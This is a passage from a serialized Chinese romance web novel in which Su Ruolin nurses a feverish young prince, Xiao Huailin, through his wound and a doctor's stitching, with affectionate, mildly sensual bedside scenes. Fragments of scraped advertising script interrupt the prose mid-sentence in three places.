等等,大夫刚才管萧怀琳叫什么? 丈,丈夫?! 与此同时,萧怀琳那一双原本楚楚可怜的凤目赫地一亮。 苏若琳脸涨得通红,但要紧事在前,她到底是没有拆破这个误会:“那,那他这条胳膊......” “你丈夫胳膊上的那道伤口,你是用了烈酒处理的?”大夫皱着眉头问她。 “对!”苏若琳忙不迭点头,末了又小心翼翼道,“是......是有什么问题吗?” “没问题,不过你这丫头居然会古方子。”大夫说着拿出纸笔,开了一张药方递给她,“按照这个方子去抓药,若是三日后不再发热,就算是没问题了。” 苏若琳当即大喜过望:“谢谢大夫!” 随后大夫又嘱咐了几句,便要起身离开了。 苏若琳连忙也起身去相送,却被萧怀琳一把拉住。 她回,便见到榻上的少年郎可怜巴巴地望着她,嘴唇嗫喏着:“别,别走..” 123. 相拥入眠 “你的伤!”感受到少年郎那条受伤手臂被自己完全压到了身下,因为疼痛而不断地颤抖着,苏若琳不禁惊叫,“压到伤口了!” 然而正环抱住她的少年郎却充耳不闻,那双环在她腰间的手臂也丝毫没有松开的打算。 萧怀琳紧紧抱着怀里的心上人,虚弱的脸上满是委屈的神色。 他的若琳明明说过,今天会一直陪着他的。 见到少年郎委屈的目光,苏若琳无奈地叹了口气,温声安慰着眼前人:“我不走,我把大夫送出去,再回来陪你好不好?” 然而少年郎却依旧摇头,那双环抱住心上人的手臂收得更紧了。 苏若琳真是被这小子整得一点法子都没有了,她从前怎么不知道这小子能这么黏人? 两人大眼瞪着小眼,就这么僵持着,谁也不肯让步。 忽得外间传来了大夫的声音:“不用送了,你好好陪着你丈夫吧。” 说完,大夫低声笑了。 他行医几十年了,还从未见过关系这般亲密的小两口子。 而此时的内间,苏若琳再次听到了“丈夫”这个词,脸上不由得一红。 她羞愤地瞪了眼前的少年郎一眼:“满意了?” 萧怀琳轻轻点了点头,唇角勾起了一抹开心的笑容。 丈夫...... 其实他从未奢望过这个词的。 但是能被别人这么喊,听起来真好。 苏若琳无奈地叹了口气:“你先松开好不好,我去换身干衣服再回来,现在身上的衣服都是湿的。” “不要。”萧怀琳摇着头,坚决捍卫着心上人给予自己的承诺。 苏若琳算是看出来了,哪怕她不留下来,这小子今晚也打算和她耗上一晚上。 “那你先翻个身,至少别压到伤口。” 这次萧怀琳倒是没有反对,他轻轻地点了点头,环在心上人腰间的右臂猛一用力,便将自己连带着怀里的人儿一起翻了个身。 苏若琳完全没想到,这小子的翻身居然是带着她一起翻的,如今身子忽地腾空,猝不及防地惊叫了一声:“啊!” 等她再度落到榻上的时候,被压在她身下的换成了少年郎完好的右臂,而那条受伤的左臂则搭在她的身上了。 少年郎低下头,亲昵地蹭了蹭心上人的脖颈,滚烫的体温让苏若琳不禁战栗了一下。 她不由得伸出手抚摸了一下少年郎的脸颊,烫得惊人。 “怀琳......”苏若琳关切地看向眼前人,却在看到对方缱绻的双眸时,俏脸不由得微微泛红,“……你难受吗?” 萧怀琳轻轻摇了摇头。 他不难受,他的怀里抱着自己最心爱的人儿,一点也不难受。 随后他微微低下头,和心上人额头相抵,小声道:“我们就这样......这样睡觉好不好?” 感受到少年郎宛若火炉一般滚烫的额头,她心一惊,连忙皱起眉头:“不行!” 这也太烫了! 闻言,少年郎的眼眸中逐渐泛出几分泪意,沙哑的声音中满是委屈:“你答应过我的......” 他的若琳亲口说的,自己今晚可以抱着她睡的。 听到这委屈巴巴的声音,苏若琳一颗心又疼又软,她无奈地叹了口气,语重心长道。 “怀琳,你看,我现在身上的衣裙都是湿的,你本来就在发高烧,这样抱着我睡觉,只会烧得更加严重。” “你等我换一身干衣服,再回来好不好?” 闻言,少年郎低下头,陷入了沉默。 苏若琳见他这副模样,张开口还想要再劝几句,少年郎却忽地抬起手臂,右手伸到头顶上方,不知道在摸索着什么。 “在找什么?”苏若琳不禁问道。 萧怀琳并未回答,他摸索了片刻,终于找到了想要的东西,随后收回手,将一团布料举到心上人的眼前:“换这个。” 苏若琳不由得瞪大眼睛,这衣服是...... 是萧怀琳从浴池里回来时,身上批的那件衣袍。 看样子她今天是无论如何都别想离开了。 苏若琳只好接过那件衣袍,无奈道:“好吧。” 哪怕不能出内间,那她下榻去换衣服总行吧,还得把垂帘拉上,防止被这小子偷窥。 然而她刚一起身,面前的少年郎便也跟着坐了起来。 随着少年郎这一坐起,他那如墨一般的长发自肩头垂落,擦过苏若琳的脸颊。 而他原本盖着的被子也很快自身上滑落,顿时,那白皙的肌肤与满身的伤痕,在苏若琳的眼中显露无疑。 发丝擦过脸颊,苏若琳的脸颊传来了一丝痒意,而看着少年郎上半身垒快分明的肌肉,她的心同时也跟着痒了起来。 而少年郎此时实在是太过虚弱了,这么猛地一起,登时就开始咳嗽了起来,那满身紧实的肌肉也跟着不断起伏。 苏若琳连忙去拍他的后背,帮他顺气:“你,你怎么也跟着起来了……你干什么?!” 她话音未落,眼前的少年郎便俯下身,一只手抓住她的脚腕,另一只手拽住了她的鞋子,把她的鞋子给脱掉了。 苏若琳:!!! “你脱我的鞋干什么!”苏若琳瞪着他。 因着高烧的缘故,少年郎俊俏的脸颊泛着异样的红,然而手上动作却没有丝毫的迟钝。 只见他将心上人的鞋子和袜子都脱掉之后,拿着鞋袜的右手稍微一用力,便将那双鞋袜都扔到了远处。 而后少年郎这才抬起头,楚楚可怜地看着她:“不要走。” 苏若琳:...... 这可真是...... 她连着做了好几个深呼吸,勉强平复好心情。 “你给我转过身去。” 少年郎坚定地摇了摇头。 “我不会跑的!”苏若琳瞪着他,“你不转身,我怎么换衣服!” 闻言,萧怀琳沉默了片刻,然后将床榻上的纱帘放了下来,右手紧紧地抓住两道纱帘之间的缝隙,这才肯转过身去。 他就守在榻边上,如果他的心上人想要掀开纱帘跑走,那他立刻就能知道。 苏若琳:...... 好好好,这么防着我是吧。 她今日叹气的次数实在是太多了,而且每次叹气都是因为这个不爱惜自己身体的混蛋小子,再这样下去,她感觉自己真能被这个混蛋活活给气死。 然而叹气也没用,事已至此,苏若琳只得老实地挪到墙边的角落里,面对着墙壁缓缓解下自己腰间的系带,将身上繁缛的衣裙都脱了下来。 她的几乎整条裙子都被水湿透了,身上自然也好不到哪去,待苏若琳将身上的衣物都脱干净之后,浑身沾湿的肌肤暴露在微凉的空气中,冷得她倒吸了一口凉气。 背后当即传来少年郎关切的声音:“怎么了?” “没事!”苏若琳红着脸将那件衣袍披到了身上,“你别转过来。” 可是迟了。 她话音方落,原本守在榻边的少年郎已经悄无声息地来到了她的背后,伸出一双手臂环绕到她身前,将她拥进了怀里。 那股独属于对方的气息登时朝着她扑面而来,而后少年郎便将头枕在心上人的肩上,附在心上人的耳边轻声道:“这样就不冷了。” 少年郎紧致的肌肉轻轻地贴着苏若琳的后背,滚烫的体温隔着一层衣料传递到了她的身上,她的脸颊几乎是瞬间就变得通红。 “你......你松开啊,我的扣子还没有系上呢。” 枕在她肩膀上的头轻轻晃了晃,耳边的声音沙哑而有磁性:“不要系了。” 系好了,抱着就不舒服了。 苏若琳的脸变得更红了:“不系上怎......啊!” 她话音未落,背后的少年郎便环着她纤细的腰肢往侧面倒了下去,两人一起倒在了榻上。 苏若琳被 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 少年郎牢牢地圈在怀里,对方滚烫的体温将她包裹进了一个炽热的囚笼。 她几乎都能通过后背感受到对方胸膛的起伏。 少年郎低下头,凑近心上人发顶,而后深吸了一口气。 是他的若琳的味道。 萧怀琳虚弱的脸上露出了一个满足的微笑:“该睡觉了。” 话音未落,怀里温软的娇躯动了动,他的心上人在他怀里翻了个身,和他面对面躺着。 看着面前人沉醉的模样,她不禁伸出手抚上他滚烫的脸颊,而后心一紧:“你......你的脸好烫。” 她心疼地看着眼前人:“是不是很难受?” 少年郎目光温柔地看着自己的心上人,轻轻摇头:“我没事。” 有你在,我怎么都没事的。 苏若琳在他的怀里犹豫了片刻,最终下定决心。 “你这样不行,再这样烧下去,怕是要把脑子烧坏的。” 她说着想要坐起身,却又被面前的少年郎拽回了怀里,连带着肩上披着的那件衣袍都从身上滑落了下来。 “萧怀琳!”苏若琳连忙抓紧那件衣袍,羞愤地喊了一声。 “不许走......”头顶传来少年郎委屈的声音,“你明明答应我的......” “我不会走的。”苏若琳无奈地抬起头,蹭了蹭少年郎的脸庞,好声好气地哄道,“铜盆和沐巾就在榻边,我不下去,就在边上,好不好?” “不好......”少年郎轻轻摇头,“我不难受,你不要走......” “你这还叫不难受?”苏若琳皱起眉头,直直地盯着他的双眸。 少年郎心虚地别开目光。 “水已经凉了。”苏若琳说着又轻吻了吻他的下巴,语气尽量放得温柔,“我把沐巾弄湿了敷在你的额头上,你就没那么难受了。” “你乖乖躺好,等我拿了沐巾给你冷敷一下好不好?” “唔......”少年郎大抵也是烧得实在难受了,在心里挣扎了许久,终于松了口,“那你别下去。” 见到少年郎肯让步,苏若离的脸上终于露出了一个温柔的微笑:“我不下去,就在榻上。” 少年郎犹豫了片刻,到底是松开了禁锢着心上人的手臂。 苏若琳连忙从榻上爬起来,将那件衣袍重新披在身上,而后扭过头看向正躺在她身边,面露不安的少年郎,俯下身轻吻了吻他的额头。 少年郎的目光自始至终都依依不舍地黏在心上人身上,看着她赤裸着上身从榻上坐起来,看着她将那件衣袍重新披在身上,看着她俯下身子凑近自己。 从这个角度看下去,心上人身前那尚未系好扣子的外袍缝隙间,白皙的身体展露无遗。 萧怀琳瞪大双眼,原本就因着高烧泛红的脸颊,此刻变得更红了。 仿佛能滴出血来一般。 苏若琳小心地越过萧怀琳来到榻边,拉开身前的纱帘,俯下身拿起地上的铜盆,将它端到榻前的椅子上,然后捞起水里的毛巾,将它稍微拧了拧。 她拿着毛巾转过身,将沾湿的毛巾敷在萧怀琳的额头上,然后用那双湿漉漉的玉手轻轻覆上少年郎的脸上。 额头和脸颊都传来一阵凉意,已经被烧迷糊的萧怀琳缓缓舒了口气。 就在心上人正打算收回覆在他脸上的手时,他伸出手抓住了心上人的指尖,目光缱绻地看着自己的心上人。 四目相对,少年郎的眼中闪烁着一种近乎痴迷的爱意,看得苏若琳的俏脸迅速变得通红。 这个混小子…… 她红着脸回到少年郎没有受伤的那一侧,缓缓在他身边躺下,枕着他的肩膀轻声道:“睡吧。” 感受到心上人枕在自己的肩膀上,少年郎的胸口微微起伏着,伸出左手轻轻牵过心上人搭在自己身上的玉手,右手则随手搭在了心上人的腰上。 他心满意足地笑了:“好。” 晚安,我的若琳。 124. 烧退了 翌日,清晨的阳光透过薄薄的纸窗照进屋里,散落到了躺在床榻上的两个身影上。 花容月貌的美人枕着温润如玉的少年郎的肩膀,白皙而又温软的手臂环绕在少年郎的胸前,紧紧依偎着对方。 而美人身下的少年郎双眸微闭,精瘦有力的右臂环绕着心上人纤细的腰肢,那条被细麻包裹得严严实实的左臂微微蜷曲着,骨节分明的左手将心上人青葱一般的玉手轻握在掌心里。 两人亲昵地靠在一起,就好似女子绣的香囊里常会出现的,永远成双成对、亲密无间的鸳鸯。 昨日两人一个伤口感染发着高烧,一个一天一夜未曾合过眼,因此两人自傍晚入眠后,居然一直睡到了现在。 忽得,天空中一片原本遮盖住阳光的云朵走开了,照射进屋里的阳光也变得愈加明亮。 灿烂的阳光照射到了少年郎白皙的俊脸上,睡梦中的少年郎下意识皱了皱眉,长而浓密的睫毛微微颤抖着,而后缓缓睁开了眼睛。 萧怀琳轻哼了一声,只觉得自己头痛欲裂,疼得仿佛要炸开了一般。 嘶...... 头怎么这么疼,他这是怎么了...... 意识渐渐得恢复澄明,昨日那些模糊的记忆也逐渐被翻涌上了心头。 昨日,他带兵拿下了陕州城,至此,彻底将突厥敌寇赶出了大楚。 然后,他派纨玦去接若琳进城,自己则去了浴池沐浴。 再然后...... 记忆到了浴池那里却变得不甚清晰,他不禁伸出右手揉了揉自己的太阳穴,却摸到了自己的额头上正盖着什么东西。 他伸出手,将那团东西举到眼前一看。 居然是沐巾? 啊...... 他想起来了。 昨日他晕倒在了浴池里,之后,他的若琳把他带了回来,给他处理伤口,然后又喊来了大夫。 再然后...... 他缓缓低下头,看向正枕着自己的肩膀,睡得正香的人儿。 萧怀琳的心在顷刻间便得柔软无比。 他不由得低下头,轻轻吻了吻心上人的额头,而后轻轻地笑了。 他的若琳说过了,以后都不会再躲着他了。 而他怀里的美人似乎是被他的吻惊动了,那只被他握在掌心的玉手动了动,美人微微皱起眉头,在他的肩上蹭了蹭,随后也缓缓睁开了眼眸。 他的心上人微微抬起头,一双惺忪的睡眼迷迷糊糊地看着他,看得萧怀琳心都要化了。 他的若琳,也太可爱了。 萧怀琳不由得亲昵地蹭了蹭心上人的脸颊,温声道:“早安。” “嗯......”心上人轻哼了一声,而后缓缓伸出手,覆上了他的额头。 “好像不烫了......”心上人似是有些不大确定,又从他的怀里爬起来,和他额头相抵着。 末了,才缓缓松了口气:“烧退了。” 说罢她低下头,看着正躺在她身下,温柔注视着她的少年郎,那张绝色的面容上露出了一抹微笑,声音软糯:“早安。” 这含糊又软糯的声音落到萧怀琳的耳中,听得他心神荡漾。 他不由得咽了口唾沫,目光落在了心上人柔软的朱唇,痴痴道:“若琳......” “嗯?”刚睡醒的苏若琳仍旧有些迷糊,疑惑地看着身下的少年郎,“怎么了......” 她话音未落,眼前的少年郎便伸出手臂环住了她的腰,而后一个翻身,将她拥入了自己的怀里。 随后,萧怀琳托起心上人的后脑,低头覆上了心上人柔软的唇瓣。 苏若琳驀地瞪大双眼。 少年郎俊俏的脸颊近在咫尺,那一双秀丽的凤目中是浓烈到满溢出来的柔情,然而就在唇瓣相贴的那一刻,苏若琳却匆忙别过头,用尽全力推开对方,挣脱了对方的怀抱。 萧怀琳诧异地看着心上人,眼中闪过受伤的神色:“若琳......” “别这么叫我!”苏若琳没好气地瞪着他。 少年郎一滞,小心翼翼道:“你......你生气了?” 苏若琳瞪大眼睛,愤怒地看着他:“你昨天明明知道自己受了那么重的伤,打完仗不赶紧处理伤口,你去水池子里泡什么?你是嫌自己的命长吗!” 天知道,若是当时她没有及时进去浴池里把人给捞出来,这混蛋说不定就被淹死了! 那样的话,那样的话...... 她根本不敢想象。 这般想着,苏若琳的眼角不禁微微泛红,死死咬住自己的下唇,才没有让自己落下泪来。 萧怀琳见到自己的心上人要哭,一下子就慌了,连忙将心上人按进怀里安抚。 “别......别哭啊。” 但随后,温热的泪水便从心上人的眼眶中溢出,蹭到了他的胸口上。 怀里的人儿狠狠地捶了一下他的胸口,鼻音浓重:“你说啊!你发什么疯要去水池子里沐浴!” “因为......”萧怀琳嘴唇微张,小声道,“我的身上都是血......” 他的若琳本来就在躲着他,若是他再满身是血地见他的若琳,把他的若琳吓走了怎么办? 苏若琳难以置信地抬起头,呆呆地看着满脸失落的少年郎半晌,而后被气笑了。 “就因为这个?” 就因为这个,他连命都不要了是吗! 这个混蛋,她到底该说什么好啊。 明明平日里那般威严的模样,却总在一些小地方犯傻任性。 萧怀琳蹭了蹭心上人的发顶,语气中布满委屈:“若琳......” 苏若琳觉得有些愤懑,少年郎每次可怜的模样都能惹得她心软,这混小子就是故意的! 她生气地推开眼前人,然后闭上眼睛,翻了个身,干脆不去看那副对方可怜的模样。 然而她一躲开,对方却迅速贴了上来,那坚硬而又布满伤疤的腹肌隔着一层外袍紧贴着她的后背,那只缠绕着细麻的左臂伸到她的胸前,将她再次拥入了怀里。 “松开。”她睁开眼睛,面无表情道。 “不要。”萧怀琳摇了摇头,搂得更紧了。 苏若琳伸出手想要把他的手臂推开,却在双手触碰到那条左臂的瞬间,听到对方倒吸了一口凉气。 她惊得连忙收回手,对方却顺势将她温软的玉手握进了掌心。 她咬牙切齿地看着对方那被白布包裹得严严实 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 实的左臂,真想狠狠地咬上一口,疼死这个混蛋。 但是她也只能想想,少年郎的手臂伤得这么严重,她供着都还来不及,哪里还敢再糟蹋? 苏若琳只好闭上眼睛自己独自生闷气。 “若琳......”萧怀琳可怜巴巴地吻了吻心上人的后颈,“不要生气了好不好?” 少年郎柔软的唇瓣擦过她的肌肤,带来了一阵痒意,她脸颊微红,干巴巴道:“不好。” “唔......”少年郎皱眉思索着,末了,又撑起身子,低头含住心上人的耳朵,轻轻地舔了一口心上人的耳背,附在心上人的耳边小声道,“不要生气了。” 苏若琳的耳朵迅速变得通红,这小子从哪学得这些磨人的法子?! “别闹!”苏若琳红着脸呵斥道,“让我自己躺一会。” “那好吧。”少年郎只好老老实实地重新躺下,再次将心上人拥入怀里,“那我们就这么躺一会。” 两人的肌肤隔着一层袍子紧贴着,彼此都能感受到对方的身体和温度,或温软或坚硬,只是两人的身体都不由得变得越来越热,心跳也越来越快。 不知过了多久,苏若琳忽得感觉到自己的尾骨那里被什么东西顶着,而且顶得越来越难受。 她脸上好不容易消下去的红晕再次升了起来:“萧怀琳!!!” 萧怀琳原本也因为身体的反应而难受得皱眉,突然听到心上人的尖叫,他红着脸结结巴巴道:“我,我......” 他,他也不知道怎么会这样的。 “不,不是我......”他连忙解释,“是它自己......” 越解释越乱。 “你给我起开!”苏若琳猛地推开他,红着脸从榻上坐了起来。 “我错了......”少年郎欲哭无泪。 他好不容易给心上人哄好的,现在又炸毛了。 苏若琳也知道对方确实不是故意的,但是心里还是很生气,她深吸了一口气,勉强让自己冷静下来。 然后起身要下榻。 少年郎连忙也从榻上坐起来,一把将她揽进怀里。 “不要走。” 苏若琳无奈地叹了口气:“大夫午后会来给你缝针,我得吩咐丫鬟去给你准备针线。” “不要大夫。”少年郎撇了撇嘴,小声嘀咕着。 “不行。”苏若琳抬头看着他,“不缝伤口你这条胳膊不要了?” 少年郎张开口,还想再说些什么,忽得外边传来了敲门声。 “禀王爷,禀苏小姐,早膳送到了。” “不说我都忘了。”苏若琳又瞪了他一眼,“你是不是昨天一点东西都没吃?” 末了她又无奈道:“你老老实实在榻上躺着,我去拿早膳。” 却听得面前的少年郎道:“那你要怎么出去?” 萧怀琳低头看向眼前人的胸前,那衣袍缝隙间露出的细嫩肌肤,而后红着脸颊别开眼睛:“你连衣服都没有......” 苏若琳闻言一呆。 ......啊,忘了这茬了,她现在在萧怀琳的屋子里,唯一的衣裙还在昨天就湿透了被扔到了地上。 她恼羞成怒地把眼前人推开:“那你去!” 125. 提着耳朵走 最后还是萧怀琳先下榻去穿衣服。 见到少年郎受伤的左臂伸到袖子里不慎方便,苏若琳连忙道:“你过来,我帮你穿。” 闻言,少年郎随即扭过头看向自己的心上人,那一双秀丽的凤目中闪烁着细碎的微光,一张温润如玉的俊脸上满是温柔的笑意:“好。” 待到苏若琳帮着眼前的少年郎穿好衣服,到了要系腰间的绦带的时候,少年郎却按住了她的手。 她不禁抬起头,奇怪地问道:“怎么了?” 萧怀琳皱眉看着这条绦带:“少了样东西。” “什么东西?” “你......你送给我的香囊没了。”萧怀琳说着就去打开衣柜,有些不安地四处翻找着,“我记得......我一直都带在身上啊。” 闻言,苏若琳的心间不禁涌过一丝暖流。 她脸颊微红,伸出手掩住嘴,不自然地轻咳了一声:“若......若是你一直带在身上的话,是不是,落在浴池那了?” 萧怀琳这才如梦初醒,抬腿便要走出去:“我去找找。” “哎你等等!”苏若琳连忙道,“你吩咐丫鬟给我拿身衣服过来啊!” 她总不能一直在榻上呆着吧! 萧怀琳脚步一顿,回过头含笑望向榻上的心上人:“好。” 那个香囊果然是落在浴池那边了,清早下人们正在打扫浴池,得知王爷在找香囊,连忙将那个香囊拿了过来。 萧怀琳小心翼翼地接过香囊,细细端详着。 还好,没有损坏。 待到他回来时,丫鬟正好也把苏若琳的衣服送过来,他顺手接过包袱、提起食盒回到了屋里。 然后被苏若琳接过衣服赶了出去。 他无奈地笑了。 在外间等了许久,苏若琳才珊珊走了出来,没好气地瞪了他一眼。 萧怀琳含笑着把食盒打开:“先吃早膳吧?” “你先吃。”苏若琳说着晃了晃手里的药方,就要往外边走去,“我先去吩咐丫鬟把针线烫好。” “也不知道青夭的伤势怎么样了,我也得去看看。” “不着急的。”萧怀琳连忙从身后环住心上人纤细的腰肢,下巴抵在心上人的头顶,不让她走,“大夫未时才回来,先吃完早膳再去也不迟。” “你是真一点不着急是吧!” 苏若琳气得抬头猛地向上一撞,被撞疼的少年郎不禁吃痛地“嗷”了一声。 “本来也不着急啊......”萧怀琳委屈巴巴道,“你昨日进城以后也没用过膳,现在肯定饿坏了。” 苏若琳跺了跺脚,这个混蛋! 每次都装可怜! “每次都用这一套!”她叉腰看着眼前的少年郎,愤愤不平道,“你都用不腻的吗!” 萧怀琳无辜地摸了摸鼻子。 招不在新,管用就行。 那可是真管用,苏若琳最后还是心软地和他一起用了早膳。 等用过早膳,苏若琳去吩咐丫鬟们准备针线,而萧怀琳则去了一趟老爷子的院子里。 陕州城是大楚被突厥军队攻打下的第一座城池,历经小半年的时间,已经被糟蹋的不成样子,百废待兴,要建设好这座城,得费上许多心思。 一想到这是他们西伐的终点,萧怀琳由衷地感到庆幸。 他要感谢这最后一战,也感谢那场火灾,不然他定然无法讨回他的若琳的心。 他就知道,若是他有危险,他的心上人就算再讨厌他,也一定会心软。 这般想着,萧怀琳不禁低下头看向自己仍在作痛的左臂,无声笑了。 讨回了心上人的欢心,萧怀琳一整个上午心情都很好,连带着开会时,众将士见了都不由得惊愕了一番。 “我是不是眼花了,我居然看见王爷在笑?”一个将军小声问同僚。 “而且还是那种,那种......温暖的,的笑???”另一个将军同样小声道。 就连韩龙都鬼鬼祟祟地问向身旁的杨纨玦:“王爷和你母亲和好了?” 杨纨玦很想朝他翻个白眼,但是一想到韩龙并不知道母亲和大哥的关系,只好生生忍住了翻白眼的欲望。 众将军窃窃私语着,忽得副座上传来一声不轻不重地咳嗽,大厅内这才安静了下来。 祝贤盛目光犀利地扫了方才每个小声八卦的人一眼,末了,才冷声道:“王爷,可以开始了。” 西伐的最后一战已经结束,要处理的事情实在太多,会议竟然直接开到晌午才算结束。 开完会后,众将军也都饿得差不多了,连忙打开门要去用午膳。 结果刚一打开门,就见到一个绝色身影正坐在门廊的栏杆上,倚着身后的柱子闭目养神。 许是听到了门打开的声音,绝色美人缓缓睁开眼睛看向他们。 被一个花容月貌的女子这么一看,顿时这些出来的大老爷们纷纷摆正了姿态,原本没个正形的糙汉子也不由得正了正衣襟。 “苏小姐。” 苏若琳眉眼轻弯,柔声道:“诸位将军辛苦了。” 末了,一双秀丽的眼眸扫过众人,最终落到了萧怀琳的身上。 眼见着心上人的目光落到了自己的身上,萧怀琳含笑着走上前:“在等我?” 苏若琳笑着望向眼前人,那一双眼眸中却满是愤怒:“是呢,我在等你。” 见此,萧怀琳心里咯噔一声,回过头冷冷地看了那些正在看热闹的下属们一眼。 被王爷这么一瞪,原本想着看八卦的下属们顿时摸了摸脑袋,灰溜溜地走了。 等到人差不多走干净后,他才小声问道:“怎么了?” “怎么了?”苏若琳没好气地看着他,“已经未时一刻了,你再不回去,大夫都要走了!” 这个混蛋是真不把自己的伤看在眼里啊! “那......”萧怀琳轻咳了一声,“要不让大夫先走?” 苏若琳四下环顾,见周围没人,也就不客气了。 “走?!”她直接伸出手捏住少年郎的耳朵,猛地一拽,“那要不我也走!” 她真是服了,真就是皇帝不急太监急呗! “嘶......疼疼疼!”萧怀琳倒吸了一口凉气,“我,我知道了,我这就去,这就去,若琳你消消气!” “你还知道疼?”苏若琳冷笑了一声,手上的力道更加大了,“这点疼比起你这条胳膊来算得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了什么?” 她说完,径直提着萧怀琳的耳朵,给人提着走了。 “哎呦!”被提着耳朵的萧怀琳惨叫了一声,“若琳,若琳,轻点好不好?” “不好!” 少年郎的嚎叫声逐渐远去,屋内的原本紧闭的窗户被推开,杨纨玦和杨纨枫互相看了对方一眼,神色各异。 大哥这声“若琳”喊得...... 具体的,他们说不出来,但是真的很怪。 很怪很怪。 怎么可以直接喊母亲的名字?还喊得这般,这般...... 适时,坐在椅子上的祝贤盛轻咳了一声,用拐敲了敲地面:“都走吧。” “曾祖......”杨纨枫欲言又止。 曾祖方才让他们留在屋里,就是为了让他们看这个吗? 可这到底是什么意思? 大哥和母亲之间的态度也太...... 亲密了。 杨纨枫的脑海中一瞬间蹦出了这个词,他被自己吓了一跳。 这,这怎么可能! 杨纨玦的情况比弟弟好不到哪去,他想到方才母亲和大哥之间的态度,浑身打了一个激灵,心有余悸地看着地面。 祝贤盛却是一直阴沉着脸,沉默不语。 萧怀琳那个混小子胆大包天,他竟没想到小妮子也是这般态度。 他们两个到底是从什么时候开始这么胡来的! 这般想着,他微微抬起头,却看到两个晚辈正举棋不定地看着他。 “曾祖......”杨纨玦小心翼翼道,“您是不是,知道些什么?” “我?”祝贤盛冷笑一声,“我可不知道!” “都滚蛋!” 两兄弟随后就被赶了出来,面面相觑。 而与此同时,萧怀琳也被心上人提着回了院里。 把手在门前和院外的侍卫们隔着大老远,就看到苏小姐气势汹汹地拽着他们家王爷的耳朵走过来,吓得连忙低下头眼观鼻鼻观心。 老天奶!他们单是知道苏小姐是王爷的心尖子,可也不知道王爷原来是个惧内啊! 这下他们可算明白了,以后就算是得罪了王爷,那也万万不能令苏小姐不快啊! 等到两人进了院子,苏若琳才松开揪着萧怀琳的手,彼时大夫已经在院里等候多时了。 他昨日回去后才知,原来这位英武不凡的少年郎便是威震四方的宁安王,而守在宁安王殿下身旁的那位女子不仅相貌不俗,气质修养俱是上上佳,想来就是宁安王妃了。 大夫一想到昨日他居然对着宁安王妃大呼小叫,心神不安得一整个晚上都没睡好,此时再见到王爷和王妃,连忙起身行礼:“草民见过王爷和王妃。” 苏若琳惊得瞪大眼睛,王,王妃? 大夫一见她震惊的模样,还以为自己说错了,难,难道这位不是王妃,而是侧妃? 这般想着,大夫的心立马提到了嗓子里,他一时口误,待会不会被拖出去杀了吧! 然而萧怀琳一听到这句“王爷和王妃”,那双秀丽的凤目却是赫得一亮。 他略微颔首,好看的唇角微微勾起,怎么压都压不下去:“起来吧。” 126. 怪物 闻言,大夫这才如释重负地松了口气,连忙擦掉额头的冷汗。 彼时烫针线的盆也早已端进了院里,就放在石桌上,苏若琳说着看向大夫:“针线已经按照方子上写的,在草药里泡了小两个时辰了,您看下应当没问题吧?” 大夫过去检查了一番,末了微微点头:“可以用的。” 随后两人都看向了站在一旁的萧怀琳。 “......”萧怀琳轻咳了一声,“现在就开始缝吗?” “哪怕不缝,你也得把伤口露出来让大夫看看啊!”苏若琳跺了跺脚,这混小子怎么一到自己的私事上就那么笨呢! 闻言,萧怀琳不禁抓住自己的衣襟,不情愿地低下头。 看伤口就意味着要解开衣袍,解开衣袍就意味着要露出自己的身体。 不要。 苏若琳一眼就看出了他顾虑,凑到少年郎身前安慰道:“那咱们去屋里?” 少年郎依旧不情愿。 去了屋里不也得把衣服解开。 苏若琳无奈地叹了口气:“那就像咱们昨日那边,你盖好被子,只露出一条左臂,好不好?” 可是那样大夫就会进到他的屋里去了啊。 少年郎低头看着自己的足尖,犹豫不决。 若是只露出一条左臂,大夫就会进到他的屋里去;可若是在外面,那他就得敞开衣襟,把衣服半脱下来,那样他的身体就都露出来了...... 半晌,少年郎终于下了决断,不情不愿地点了点头。 “那好吧。” 比起露出身体,那还是去屋里吧...... 苏若琳这才笑着拍了拍少年郎的脸蛋:“那咱们先去,等你躺好了我再喊大夫进来。” 她这般说着,旋即回过头朝大夫浅施一礼:“怕是还要劳烦您再稍等片刻了。” 大夫正在将草药水里的线打捞出来,闻言连忙道:“无事无事,王爷和王妃先去,草民在外边等着即可。” 这声“王爷和王妃”喊得实在是称萧怀琳的心,原本微抿着的嘴角也不由得重新勾起了好看的弧度,含笑牵起心上人白葱般的玉手,一起往屋里去了。 大夫望着两人牵手远去的背影,脸上甚是惊奇。 依他所观,王妃的年纪应是比王爷要大些的,因此王爷才这般依赖王妃么? 等到萧怀琳乖乖地在榻上躺好,盖好了被子以后,苏若琳便转身要去院子里。 却被萧怀琳拉住了。 少年郎依依不舍地望着心上人,一双俊俏的面容露出了几分可怜的神情。 苏若琳无奈地笑了,在少年郎的额头落下轻轻一吻,少年郎这才露出了安心的神色。 很快大夫便被带进来了,苏若琳拆下少年郎左臂缠绕的细麻,大夫定睛看了片刻,缓缓点了点头:“可以缝针了。” 他说着从药箱里拿出来一包药粉,洒进了萧怀琳左臂上那条深可见骨的伤口里。 药粉自伤口里缓缓溶化,最后融入了血肉之中,而与此同时,萧怀琳左臂的痛感逐渐变得模糊,逐渐变得酥麻,逐渐失去了知觉。 好像左臂从他的身上离开了一样。 “这是......”苏若琳惊讶地瞪大眼睛。 “麻沸散。”大夫解释道。 苏若琳:!!! 原来在这个世界里,麻沸散居然没有失传吗! 而榻上的少年郎感知到左臂的异常,眼中还带着一丝不安。 碍于有外人在,苏若琳没有行太过亲密的举动,伸出手揉了揉少年郎的发顶,温声安慰道:“没事的。” “有我在呢。” 少年郎扭头看向心上人鲜妍的面容,心里的不安才逐渐消散。 待到药效彻底发挥,少年郎的整条左臂都失去了知觉以后,大夫这才问道:“这里还有烈酒么?” “有!”苏若琳连忙道。 昨日的烈酒用完了她就封好放起来了,如今闻言连忙去拿。 太过烈的酒,其实并没有甘甜的酒香,待坛子打开以后,浓烈的酒精味直冲人的脑壳。 苏若琳如昨日一般将烈酒滴入少年郎的伤口,这一次,少年郎终于没有疼得颤抖。 而后,大夫又拿出了一包金疮药,待到层层药粉没入伤口之后,终于拿出了先前泡好的针线。 线原本是白色的,苏若琳担心染着其他颜色的线不安全,而且若是白色的,中途沾染上什么脏东西也能很快知晓。 